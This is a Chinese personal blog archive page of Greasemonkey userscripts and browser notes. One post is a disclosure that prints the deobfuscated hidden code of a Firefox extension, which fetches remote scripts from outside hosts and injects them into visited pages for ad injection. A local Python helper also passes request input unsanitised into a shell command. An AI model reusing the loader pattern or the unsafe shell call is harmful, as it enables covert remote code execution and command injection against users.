10
8
2015
12

ES6 好棒!

SegmentFault 的通知页里的链接总是会在新标签页打开。这对于我来说就多了一个需要关闭的标签页——我本可以在最后一条新通知时不打开新标签页的。我习惯由我自己来控制链接在哪里打开,会根据情况选择在后台新标签页打开或者在当前标签页打开。SegmentFault 通知页这样子在前台标签页打开对于我来说除了烦人之外便毫无用处

然而 SegmentFault 改来改去,最终似乎还是决定像很多国内网站那样让我这种用户厌烦。罢了,是时候让油猴出场了。这次尽情使用 ES6 好了=w=

// ==UserScript==
// @name          SegmentFault Enhancement
// @namespace     http://lilydjwg.is-programmer.com/
// @description   SegmentFault Enhancement
// @include       http://segmentfault.com/*
// @include       https://segmentfault.com/*
// ==/UserScript==

// jshint moz:true

if(location.pathname === "/user/notifications"){
  let elements = document.querySelectorAll('section.stream-list__item a[target]');
  for(let el of elements){
    el.removeAttribute('target');
  }
}

虽然不是第一次使用let了,但for...of是第一次使用。这感觉好棒!跟写了好长时间的 C 之后发现表达力强大的 Python 一样!

现在的 ECMAScript 越来越像语法怪异的 Python 了呢 ;-)

PS: 在网页里写上在新标签页打开有安全隐患的。

4
7
2015
5

疯狂的 npm(图)

以前这服务器就经常被 OOM Killer 大开杀戒,各种服务都被杀害。虽然早就通过日志和其它信息知道是 npm 惹的祸,今天才有幸看到如此疯狂的 npm(点击查看大图):

crazy npm htop screenshot

说明一下,此 npm install 是正在安装 gulp 相关的东西。在本地跑的时候倒是没发现 npm 有如此「牛力」,只是比较费时费内存而已,不知道在这服务器上是发了什么疯。

Category: Javascript | Tags: javascript nodejs npm
8
20
2013
6

发现一款带隐藏广告代码的火狐插件

下载、解压,找到app.js。最后有一段混淆过的代码,注释曰「划词搜索电影」。使用 NodeJS 把eval里的函数执行结果打出来,再扔到 Vim 里拿 jsbeatify.vim 格式化一下,结果如下:

if (typeof(IMAXPluginChrome) == "undefined") {
  function S4() {
    return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1)
  }
  function guid() {
    return (S4() + S4() + S4() + S4() + S4() + S4() + S4() + S4())
  }
  var IMAXPluginChrome = {
    getCid: function() {
      var uuid = nsPreferences.copyUnicharPref("extensions.imax.uuid", "");
      if (typeof(uuid) == "undefined" || uuid == "") {
        uuid = guid();
        nsPreferences.setUnicharPref("extensions.imax.uuid", uuid)
      }
      return uuid
    },
    loadScript: function(callback, unsafeWin) {
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
        if (xhr.status == 200 && xhr.readyState == 4) {
          var code = xhr.responseText;
          nsPreferences.setUnicharPref("extensions.imax.code", code);
          nsPreferences.setUnicharPref("extensions.imax.last_synced_at", Date.now() + "");
          callback(unsafeWin, code)
        }
      };
      xhr.open("GET", "http://imax.taobaoimages.com/bootstrap.js?cid=FF_" + IMAXPluginChrome.getCid(), true);
      xhr.send(null)
    },
    onDOMContentLoaded: function(event) {
      var code = nsPreferences.copyUnicharPref("extensions.imax.code", "");
      var last_synced_at = Number(nsPreferences.copyUnicharPref("extensions.imax.last_synced_at", 0));
      var unsafeWin = event.target.defaultView;
      if (unsafeWin.wrappedJSObject) {
        unsafeWin = unsafeWin.wrappedJSObject
      }
      function callback(unsafeWin, code) {
        var unsafeDocument = new XPCNativeWrapper(unsafeWin, "document").document;
        var script = unsafeDocument.createElement("script");
        script.type = "text/javascript";
        script.charset = "utf-8";
        script.textContent = code;
        unsafeDocument.body.appendChild(script)
      }
      if ((code == "") || ((Date.now() - last_synced_at) > (1000 * 60 * 60 * 24))) {
        IMAXPluginChrome.loadScript(callback, unsafeWin)
      } else {
        callback(unsafeWin, code)
      }
    },
    onLoad: function(event) {
      var appcontent = document.getElementById("appcontent");
      if (appcontent) {
        appcontent.addEventListener("load", this.onDOMContentLoaded, true)
      }
    },
    onUnload: function(event) {
      window.removeEventListener("load", this.onLoad, false);
      window.removeEventListener("unload", this.onUnload, false);
      var appcontent = document.getElementById("appcontent");
      appcontent.removeEventListener("DOMContentLoaded", this.onDOMContentLoaded, false)
    },
    init: function() {
      window.addEventListener("load", function(event) {
        IMAXPluginChrome.onLoad(event)
      },
      false);
      window.addEventListener("unload", function(event) {
        IMAXPluginChrome.onUnload(event)
      },
      false)
    }
  };
  IMAXPluginChrome.init()
}

这段代码异步载入了来自http://imax.taobaoimages.com/bootstrap.js?cid=FF_XXX的代码,其中XXX是生成的用户 ID。又是一段混淆过的代码,还是一样的eval,转义字符串数组也一样扔 NodeJS 就行了。处理后的脚本如下:

(function(cid) {
  if (window.tbk) {
    return
  }
  window.tbk = true;
  var plugin_scripts = {
    "http://(.*?\.tao)(bao\.com)|(tao\.et)(ao\.com)": "http://imax.taobaoimages.com/browser.js"
  };
  for (var enabledDomains in plugin_scripts) {
    var host = document.location.href;
    if (host.match(RegExp(enabledDomains))) {
      imax_script_url = plugin_scripts[enabledDomains];
      function readCookie(name) {
        var nameEQ = name + "=";
        var ca = document.cookie.split(';');
        for (var i = 0; i < ca.length; i++) {
          var c = ca[i];
          while (c.charAt(0) == ' ') c = c.substring(1, c.length);
          if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)
        }
        return null
      }
      function addBrowserJs() {
        if (document.readyState == "complete") {
          var h = document.getElementsByTagName('head')[0];
          var s = document.createElement('script');
          s.setAttribute('type', 'text/javascript');
          s.setAttribute('charset', 'utf-8');
          s.setAttribute('async', true);
          if (readCookie("_q_r_b_")) {
            s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random())
          } else {
            s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random())
          }
          h.appendChild(s)
        } else {
          window.setTimeout(addBrowserJs, 20)
        }
      }
      addBrowserJs()
    }
  }
})("CID");

(function(d) {
  var _0xc429 = ['href', 'location', 'http://taoad.wandoupai.com/ad.js', '', 's.taobao.com/search', 
    'search', 'weibo', 'baidu', 'length', 'match',
  'ad=', 'getElementsByClassName', 'createElement', 'className', 'body',
  'getElementsByTagName', 'appendChild', 'script', 'T1xC6MXfthXXcWeqbX', '?', 'type', 'text/javascript', 'src'];
  var href = d.location.href;
  var host = 'http://taoad.wandoupai.com/ad.js';
  var url = '';
  var url_map = [['s.taobao.com/search', 'search'], ['weibo', 'weibo'], ['baidu', 'baidu']];
  for (var i = 0; i < url_map.length; i++) {
    if (href.match(url_map[i][0])) {
      url = 'ad=' + url_map[i][1];
      break;
    };
  };
  if (url == '') {
    return false;
  };
  var appendTag = function(a, b, c) {
    if (document.getElementsByClassName(b).length > 0) {
      return;
    };
    var el = d.createElement(a);
    el.className = b;
    c(el);
    var body0 = d.getElementsByTagName('body')[0];
    if (!body0) {
      return;
    };
    body0.appendChild(el);
    return el;
  };
  appendTag('script', 'T1xC6MXfthXXcWeqbX', function(a) {
    var link = host + '?' + url;
    a.type = 'text/javascript';
    a.src = link;
  });
})(document);

这段脚本会按照当前访问的网站地址载入地址类似http://taoad.wandoupai.com/ad.js?ad=baidu的脚本。目前,这个地址返回的是空文档。说好的广告呢……

1
10
2012
0

GM 脚本:MediaWiki 脚注 tooltip

MediaWiki 使用脚注插件后就多了脚注功能。可无奈这插件把网页当成纸质书了,脚注得点击跳转后才能看到内容。我不胜其烦,遂作此脚本。只对我自己的 wiki 和英文维基百科启用了,因为另一个常去的 MediaWiki 站点——中文维基百科有个导航Popup小工具更好用。我还是一如既往地没有使用 jQuery。

// ==UserScript==
// @name           MediaWiki 脚注 tip
// @namespace      http://lilydjwg.is-programmer.com/
// @include        http://localhost/wiki/*
// @include        https://en.wikipedia.org/wiki/*
// ==/UserScript==

var showTip = function(evt){
  var el = evt.target;
  var left = el.offsetLeft;
  var top = el.offsetTop;
  var tip = document.getElementById('gm-tip');
  //not el.href here; we need the original one
  var tipTextEl = document.getElementById(el.getAttribute('href').substring(1));
  tip.innerHTML = tipTextEl.textContent.substring(2);
  tip.style.top = (top+5) + 'px';
  tip.style.left = (left+25) + 'px';
  tip.style.display = 'block';
};

var hideTip = function(){
  var el = document.getElementById('gm-tip');
  if(el){
    el.style.display = "none";
  }
};

var cites = document.querySelectorAll('.reference > a');
// var cites = document.querySelectorAll('a[href^="#cite_note-"]');
for(var i=0, len=cites.length; i<len; i++){
  cites[i].addEventListener("mouseover", showTip, false);
  cites[i].addEventListener("mouseout", hideTip, false);
}

var setup = function(){
  el = document.createElement('div');
  el.setAttribute('id', 'gm-tip');
  el.style.display = 'none';
  el.style.position = 'absolute';
  el.style.zIndex = '100';
  el.style.border = '1px #1e90ff solid';
  el.style.backgroundColor = 'rgba(115, 201, 230, 0.75)';
  el.style.padding = '0.2em 0.5em';
  var parentEl = cites[0].offsetParent;
  parentEl.appendChild(el);
};
if(cites.length > 0){
  setup();
}
10
13
2011
2

GM 脚本:在 Chito 后台评论列表中显示评论者的地址位置

GreaseMonkey 代码如下:

// ==UserScript==
// @name           is-programmer 后台评论地理位置显示
// @namespace      http://lilydjwg.is-programmer.com/
// @description    通过 JSONP 查询 IP 地址对应的地理位置并显示
// @include        http://*.is-programmer.com/admin/comments*
// @include        http://*.is-programmer.com/admin/messages*
// ==/UserScript==

var qurl = function(ips){
  return 'http://localhost:2000/queryip?q=' + ips.join(',') + '&cb=?';
};

var letsJQuery = function(){
  var ip_header = document.evaluate('//th[@class="helpHed" and text()="IP"]', document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null).snapshotItem(0);
  $(ip_header).after('<th class="helpHed">地址</th>');
  var ip_cells = document.getElementsByClassName('comment_ip_col');
  var ips = [];
  var i;
  for(i=0, len=ip_cells.length; i<len; i++){
    ips.push(ip_cells[i].textContent);
  }
  $.getJSON(qurl(ips), function(data){
    var ans = data.ans;
    for(i=0, len=ip_cells.length; i<len; i++){
      $(ip_cells[i]).after('<td class="comment_addr_col">'+ans[i]+'</td>');
    }
  });
};

function GM_wait(){
  if(typeof unsafeWindow.jQuery == 'undefined') {
    window.setTimeout(GM_wait, 500);
  }else{
    $ = unsafeWindow.jQuery;
    letsJQuery();
  }
}

GM_wait();

光有这个脚本是不够的,因为没有 IP 地址数据库。我不想像这样用 chrome 权限调用子进程之类的手段,而是从本地 HTTP server 取得数据,这样以后可以方便地扩展。HTTP server 使用 Python 的 tornado 框架写成,名字是“Web Service Provider”的缩写:

#!/usr/bin/env python3
# vim:fileencoding=utf-8

from subprocess import getoutput
from functools import lru_cache
import json

import tornado.web
import tornado.httpserver
from tornado.options import define, options

@lru_cache()
def lookupip(ip):
  return getoutput('cip ' + ip).replace('CZ88.NET', '').strip() or '-'

class IPHandler(tornado.web.RequestHandler):
  def get(self):
    q = self.get_argument('q').split(',')
    addr = []
    for ip in q:
      a = lookupip(ip)
      if 'illegal' in a:
        a = '(错误)'
      elif '\n' in a:
        a = ''
      addr.append(a)

    ans = {
      'ans': addr,
    }
    cb = self.get_argument('cb', None)
    if cb:
      self.set_header('Content-Type', 'text/plain; charset=utf-8')
      self.write('%s(%s)' % (cb, json.dumps(ans, ensure_ascii=False)))
    else:
      self.write(ans)

def main():
  define("port", default=2000, help="run on the given port", type=int)

  tornado.options.parse_command_line()
  application = tornado.web.Application([
    (r'/queryip$', IPHandler),
  ],
    debug=True,
  )
  application.listen(options.port)
  tornado.ioloop.IOLoop.instance().start()

if __name__ == "__main__":
  try:
    main()
  except KeyboardInterrupt:
    pass

用的是 Python 3.2,我很喜欢它的lru_cache装饰器。

7
26
2011
0

GM脚本:维基百科语言链接中,中英文优先

每次在一大堆语言列表中找“中文”或者“English”实在太累,所以想了这么个办法。虽然维基百科的页面已经使用了jQuery,但我还是执着地没有使用它。不过也用到了点新东西——XPath

// ==UserScript==
// @name           Wikipedia 语言链接顺序调整
// @description	   将维基百科中的中英文语言链接放到最前面
// @namespace      http://lilydjwg.is-programmer.com/
// @include        http://*.wikipedia.org/*
// @include        http://*.wiktionary.org/*
// @include        https://*.wikipedia.org/*
// @include        https://*.wiktionary.org/*
// ==/UserScript==

var links = document.evaluate('//*[@id="p-lang"]//a[text()="中文" or text()="English"]', document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
var ul;
for(var i=0, len=links.snapshotLength; i<len; i++){
  var link = links.snapshotItem(i);
  ul = ul || link.parentNode.parentNode;
  ul.insertBefore(link.parentNode, ul.firstChild);
}

我第一次、也是唯一一次看到在火狐中使用XPath的示例在这里这里是MDC文档。


点击安装。


2011年8月12日更新:加入了维基词典的支持。

2011年11月7日更新:加入对 HTTPS 的支持。

6
7
2011
0

GM 脚本:Ubuntu 中文论坛自动登录 & 展开代码

其实自动登录的部分很早就写了的,因为应用于同样的站点,所以就放一起了。

自动登录就不就了,据说是论坛一直就有的 bug。不过现在似乎好了,已经很少遇到需要重新登录的情况。代码展开嘛,是这样子的。Ubuntu 中文论坛支持使用[name]...[/name]的BBCode来调用 Geshi 插件进行语法高亮。不过高亮的代码却总是收缩起来,只能看到开头几行,要看完整的要么用滚动条,要么点击“展开”链接。Perl 的小骆驼书上有一句话我印象深刻:当程序超过一屏时,bugs 数量会突增。

// ==UserScript==
// @name           Ubuntu中文论坛自动登录
// @namespace      http://lilydjwg.is-programmer.com/
// @description    Ubuntu中文论坛自动登录
// @include        http://forum.ubuntu.com.cn/ucp.php?mode=login*
// @include        http://forum.ubuntu.com.cn/viewtopic.php*
// @include        http://forum.ubuntu.org.cn/ucp.php?mode=login*
// @include        http://forum.ubuntu.org.cn/viewtopic.php*
// ==/UserScript==

window.addEventListener("load", function(){
  setTimeout(function(){
    var links = document.querySelectorAll('a[onfocus]');
    if(links){
      var evt = document.createEvent("MouseEvents");
      evt.initMouseEvent("click", true, true, window,
			 0, 0, 0, 0, 0, false, false, false, false, 0, null);
      for(var i=0, len=links.length; i<len; i++){
        if(links[i].innerHTML == '展开'){
          links[i].dispatchEvent(evt);
        }
      }
    }
    if(document.querySelector('input[name=autologin]')){
      document.querySelector('input[name=autologin]').checked = true;
      document.querySelector('input[name=login]').click();
    }
  }, 1000);
}, false);

点击这里安装。可以到这个页面测试。

Category: 火狐 | Tags: GreaseMonkey javascript 火狐
5
23
2011
51

MathJax:不错的数学公式显示引擎

我最初是在Mathematics - Stack Exchange这个网站上看到MathJax的使用的。当时我偶然发现StackOverflow底部还有一大堆 Stack Exchange 站点,就随便点了几个看看,然后就看到那些漂亮的数学公式,并发现它们竟然不是像维基百科那么用的图片!

不过因为我并不搞数学,一直没需求,所以一直也没尝试玩下 MathJax。前不久看到 Garfileo 的《基于 ASCIIMathML.js 的 is-programmer 博客数学公式书写及显示》一文,昨日又和 Fermat 聊起,才折腾了下。

先来测试几个公式:\(E=mc^2\),$$x_{1,2} = \frac{-b \pm \sqrt{b^2-4ac}}{2b}.$$

原来这个 \(\mathrm{e}^{- \mathrm{i} \pi} + 1 = 0\) 叫欧拉公式,今天才知道 -_-|||。

整个部署过程非常简单,加入以下脚本即可:

<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=default"></script>

然后就是写 TeX 公式了,用\(\)括起来的是行内公式,用$$括起来的是自成一段的公式(术语叫什么我就不知道了)行间公式。

在公式上点右键还有些选项,包括选择使用 HTML+CSS 渲染还是 MathML 渲染、缩放、显示公式源码等。不过 MathML 的显示效果比较丑,而且诸如 Chrome 这些 Webkit 内核的浏览器还不支持。它会优先使用本地字体。我当然没有,于是它尝试使用网络字体。现代浏览器都会OK的,不过在火狐里,如果是本地文件(file://开头的),那么不能使用网络字体。这时候 MathJax 会使用图片代替。感觉挺智能的,而且还有各种模块和其的配置

MathJax 还支持在公式渲染之后再修改,我于是做了个简单的公式编辑器,可实时预览公式渲染的结果。有点郁闷的是,做这个网页时,相比公式处理部分,我大部分精力花在了排版上。。。另外,这个网页在 Chrome 下竟然出错了,清除缓存后才正常。以前 Chrome 也出现过这个问题,但火狐基本没有(我只在火狐3.6时代意外关机后遇到过)。


更新:

公式编辑器加了新功能,可通过 URL 的 hash 部分传递公式代码(尝试点击本段的链接),修改后 URL 也会变化,以便分享。不过发现了 Opera 浏览器的一个特性:会自动将手工输入的 URL 中的\替换成/,造成公式错误(比较点击和手工输入此链接地址的区别)。

Category: Javascript | Tags: javascript tex 数学
11
6
2010
2

privoxy与火狐智能地址栏两者兼得

privoxy是一款强大的代理调度器,看到muzuiget同学的介绍我就心动了,由于比较忙所以前两天才开始尝试,很快就发现了一个问题:直接在火狐地址栏里输入关键字会转到privoxy的“找不到域名”的错误页。

依我的推测,火狐总是尝试解析用户在地址栏输入的字符串,当解析失败时就尝试添加.com这样的后缀,然后尝试向Google查询,或者返回一个最接近的结果,或者返回Google搜索页面。(所以,我非常讨厌垃圾电信的114广告,使得任何原本不能解析的域名都解析到它的广告页了。)

在使用HTTP代理之后,火狐无法得知域名解析是否成功,因为代理在出错时返回了出错页面。这让我这个重试依赖她的地址栏的火狐迷郁闷了一天,最终(部分地)解决了此问题。

privoxy果然强大,出错页都是可以自定义的,默认这些模板在配置目录的templates目录下,很容易猜到处理域名解析失败的文件是no-such-domain。于是我在改了下其外观的同时,先是加上搜索功能:

<p>
    This is often a temporary failure, so you might just
    <a href="@protocol@@hostport@@path@">try again</a>,
    or <a href="https://encrypted.google.com/search?hl=zh-CN&q=@hostport@">Google @host@</a>.
</p>

这样还不行,不光得点一下,而且只能跳转到Google的搜索页。想到Google有个“手气不错”按钮,于是利用之:

var abar = function(){
  if(document.referrer) return;
  var host = "@host@";
  if(host.indexOf('.')<0 || host.indexOf(' ')>-1){
    document.title = "跳转中...";
    window.location = "https://encrypted.google.com/search?hl=zh-CN&q="+host+"&btnI=1";
  }
};
abar();

将这段代码加到<head>后即可实现输入关键字后自动使用Google的“手气不错”服务跳转到接近的页面,或者是Google搜索页面。

但测试几次后发现,这样还有问题:如果输入中文,将搜索其punycode而不是中文了。比如在地址栏输入“测试”,回车之后会搜索“xn--0zwm56d”,进而跳转到http://www.iana.org/domains/root/db/xn--0zwm56d.html。看来需要用Javascript解punycode了。Google下,在stackoverflow看到了一个实现,还是放弃版权的~只是我没发现怎么才能让privoxy的错误页调用本地的外部Javascript文件,所以直接把代码嵌进去了,这让我这个喜欢代码整洁的人有点不爽。。。

var abar = function(){
  if(document.referrer) return;
  var host = punycode.ToUnicode("@host@");
  if(host.indexOf('.')<0 || host.indexOf(' ')>-1){
    document.title = "跳转中...";
    window.location = "https://encrypted.google.com/search?hl=zh-CN&q="+host+"&btnI=1";
  }
};
abar();

按说这样的设计是跨浏览器的,于是我测试了下Google Chrome,发现其并不买帐,输入看起来不像域名的字符串后,Chrome直接进到搜索页面。。。。还是火狐好啊~~

Category: 火狐 | Tags: javascript 火狐 privoxy
7
22
2010
5

GM 脚本:和WebQQ的滚动标题栏说再见

作为一名中国的Linuxer,我没能像一些幸福者那样摆脱QQ,尽管我一直在见缝插针地推广Gtalk,但收效甚微。在相当长的一段时期内,我还是不得不使用WebQQ。WebQQ有一个特点让我觉得*非常非常*烦人——在来消息后就那么一直一直一直一直地滚动标题栏,似乎有天大的事需要我立即处理否则就性命难保似的。非常非常讨厌。像Gmail或者twitter那样只是在标题栏上加个括号号个数字不行吗?。。。

我再也不要默默忍受下去了!于是,点击GreaseMonkey图标,打开Vim,开始写脚本。

脚本其实很简单,只是我今天才想到可以这样子而已。WebQQ当点击聊天对话框后标题就会变正常。于是,我用Javascript模拟点击。不好监测标题栏的改变,干脆每隔几秒去点一下算了。代码如下:

// ==UserScript==
// @name           quiet WebQQ
// @namespace      http://lilydjwg.is-programmer.com/
// @description    来消息时不要滚动标题栏
// @include        http://web.qq.com/main.shtml?*
// ==/UserScript==

window.clicker = function(){
  var evt = document.createEvent("MouseEvents");
  evt.initMouseEvent("click", true, false, window,
    0, 0, 0, 0, 0, false, false, false, false, 0, null);

  var edits = document.getElementsByClassName('editArea');
  for(var i=0, len=edits.length; i<len; i++){
    edits[i].dispatchEvent(evt);
  }
};

//最多滚动三秒好了
setInterval(window.clicker, 3000);

这里clicker函数需要作为window的一个属性,否则会在页面加载完,脚本执行过后就消失了。


点击此处安装

Mastodon | Theme: Aeros 2.0 by TheBuckmaker.com